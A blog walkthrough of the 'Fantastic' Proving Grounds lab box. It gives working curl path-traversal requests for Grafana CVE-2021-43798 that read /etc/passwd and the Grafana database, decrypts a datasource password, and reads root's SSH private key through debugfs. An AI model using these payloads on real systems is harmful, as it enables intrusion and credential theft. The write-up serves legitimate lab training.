Proving Grounds — Practice — Fantastic
This Practice box is rated easy by Offsec, but rated hard by the community. I would agree that the box wasn’t the easiest one that I’ve completed, but I didn’t think it was too overly difficult either.
— Start out with an NMAP scan
makoyi@kali [~]
❯ sudo nmap -Pn -n 192.168.213.181 -sC -sV -p- --open
[sudo] password for makoyi:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-24 12:27 -0600
Nmap scan report for 192.168.213.181
Host is up (0.085s latency).
Not shown: 65495 closed tcp ports (reset), 37 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
3000/tcp open http Grafana http
| http-robots.txt: 1 disallowed entry
|_/
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Grafana
|_Requested resource was /login
9090/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-title: Prometheus Time Series Collection and Processing Server
|_Requested resource was /graph
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.94 seconds I typically run NMAP with these flags, because it returns all the information needed to move to the next step of the penetration test.
— Port 3000 — Grafana
Upon opening our browser to port 3000, we’re greeted with a login page. If you check the grafana documentation, you’ll find that admin:admin is the default credentials for the first login, but is then prompted to change the password. With that knowledge, we go ahead and look up the version number and see if that is vulnerable. Turns out that grafana 8.3.0 is vulnerable to CVE-2021–43798.
According to NIST, this version of grafana is vulnerable to a directory traversal, and this PoC shows us exactly how to do it.
Testing out the syntax from HackerOne, I tried to read the /etc/passwd file to find that the syntax does indeed work.
makoyi@kali [~]
❯ curl http://192.168.213.181:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
grafana:x:113:117::/usr/share/grafana:/bin/false
prometheus:x:1000:1000::/home/prometheus:/bin/false
sysadmin:x:1001:1001::/home/sysadmin:/bin/shFrom the output, we can see there’s a user named sysadmin, we should keep this in mind while further enumerating. Examining grafana’s documentation, the database is typically stored at /var/lib/grafana/grafana.db is a SQLite database. This time, we run the curl command with the flag -o or output, to save the .db file into one we can use.
makoyi@kali [~]
❯ curl http://192.168.213.181:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db --output grafana.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 748.0k 100 748.0k 0 0 844.0k 0If you check the grafana.db file, it will show that it is a SQLite database like the documentation said.
makoyi@kali 24/02/26 14:28 - 192.168.45.213 [~]
❯ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 410, database pages 187, cookie 0x138, schema 4, UTF-8, version-valid-for 410— SQLite DB
Get Makoyi’s stories in your inbox
Join Medium for free to get updates from this writer.
If you’re using Kali Linux, it comes pre-installed with a GUI SQLite Browser, so if you go to your applications and search for it, it should come right up.
Here, we open the database file we grabbed from using curl and examine it. There’s quite a bit to look at here, and you may even see the users list with the password and think you found the right vector. Alas, that is not the correct path however, and if you go to browse data tab and go down to the data_source table we’ll find the password hash for the sysadmin user.
"basicAuthPassword":"anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w=="}If you take a look at the grafana documentation, you’ll see that the encryption methods grafana uses AES signed with a secret key. There’s plenty of encryption/decryption methods if you search long enough. The one I used for this instance was a python code.
(myenv) makoyi@kali [~]
❯ python3 decrypt.py
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rdThe python code will prompt us to input the hashed password from the database we discovered and using the secret key that grafana uses by default, will crack the hash exposing the true password.
Now we can ssh directly using sysadmin as our user and the password we just cracked and find the flag in our home directory. Use bash -i to spawn an interactive shell.
makoyi@kali [~]
❯ ssh sysadmin@192.168.213.181
The authenticity of host '192.168.213.181 (192.168.213.181)' can't be established.
ED25519 key fingerprint is: SHA256:D9EwlP6OBofTctv3nJ2YrEmwQrTfB9lLe4l8CqvcVDI
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:116: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.213.181' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
sysadmin@192.168.213.181's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 24 Feb 2026 09:46:42 PM UTC
System load: 0.0 Processes: 209
Usage of /: 63.2% of 9.78GB Users logged in: 0
Memory usage: 32% IPv4 address for ens160: 192.168.213.181
Swap usage: 1%
100 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
*** System restart required ***
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
$ bash -i
sysadmin@fanatastic:~$ ls
local.txtThe first thing I like to do once I’ve gotten into a user account is to upload linpeas/winpeas and run it to see if I can find some obvious privilege escalation paths. Luckily for us, that’s exactly what happens. Linpeas finds an escalation path using the disk.
This PoC easily walks us through how to exploit the disk permissions. First, you check disk space summary to see which partition the /root is mounted on. Then, we use the debugfs utility to create a new directory and read the contents of the root ssh file.
sysadmin@fanatastic:~$ df -h
Filesystem Size Used Avail Use% Mounted on
udev 445M 0 445M 0% /dev
tmpfs 98M 1.3M 97M 2% /run
/dev/sda2 9.8G 6.2G 3.1G 67% /
tmpfs 489M 0 489M 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 489M 0 489M 0% /sys/fs/cgroup
/dev/loop0 62M 62M 0 100% /snap/core20/1328
/dev/loop1 68M 68M 0 100% /snap/lxd/21835
/dev/loop2 56M 56M 0 100% /snap/core18/2128
/dev/loop3 56M 56M 0 100% /snap/core18/2284
/dev/loop5 33M 33M 0 100% /snap/snapd/12883
/dev/loop6 44M 44M 0 100% /snap/snapd/14549
tmpfs 98M 0 98M 0% /run/user/1001
sysadmin@fanatastic:~$ debugfs /dev/sda2
debugfs 1.45.5 (07-Jan-2020)
debugfs: mkdir test
mkdir: Filesystem opened read/only
debugfs: cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAz1L/rbeJcJOc5T4Lppdp0oVnX0MgpfaBjW25My3ffAeJTeJwM1/R
YGtnByjnBAisdAsqctvGjZL6TewN4QNM0ew5qD2BQUU38bvq1lRdvbaD1m+WZkhp6DJrbi
42MKCUeTMY5AEPBPe4kH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LbK/7Fh64djpoeN4WAHfKB/fmXGJ+kt0mu
qDz911lrLT9H8CrpYXlrKy5jxhO8yxqU1CqmZe8H8ILFMPyuw8UuOCF7EnhLR2ReAmOS2l
T3skewpHe8tDUAAAALcm9vdEB1YnVudHU=
-----END OPENSSH PRIVATE KEY-----We copy the id_rsa key and change the permissions using chmod 600 id_rsa,and log right into the root account using the id_rsa, finding the flag in the root directory.
makoyi@kali [~]
❯ chmod 600 id_rsa
makoyi@kali [~]
❯ ssh root@192.168.213.181 -i id_rsa
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 24 Feb 2026 09:54:46 PM UTC
System load: 0.01 Processes: 224
Usage of /: 63.2% of 9.78GB Users logged in: 1
Memory usage: 58% IPv4 address for ens160: 192.168.213.181
Swap usage: 1%
100 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
*** System restart required ***
Last login: Tue Mar 1 18:46:45 2022
root@fanatastic:~# cat proof.txtThank you for reading!
I hope this walkthrough helps, stay ethical, and happy hacking!










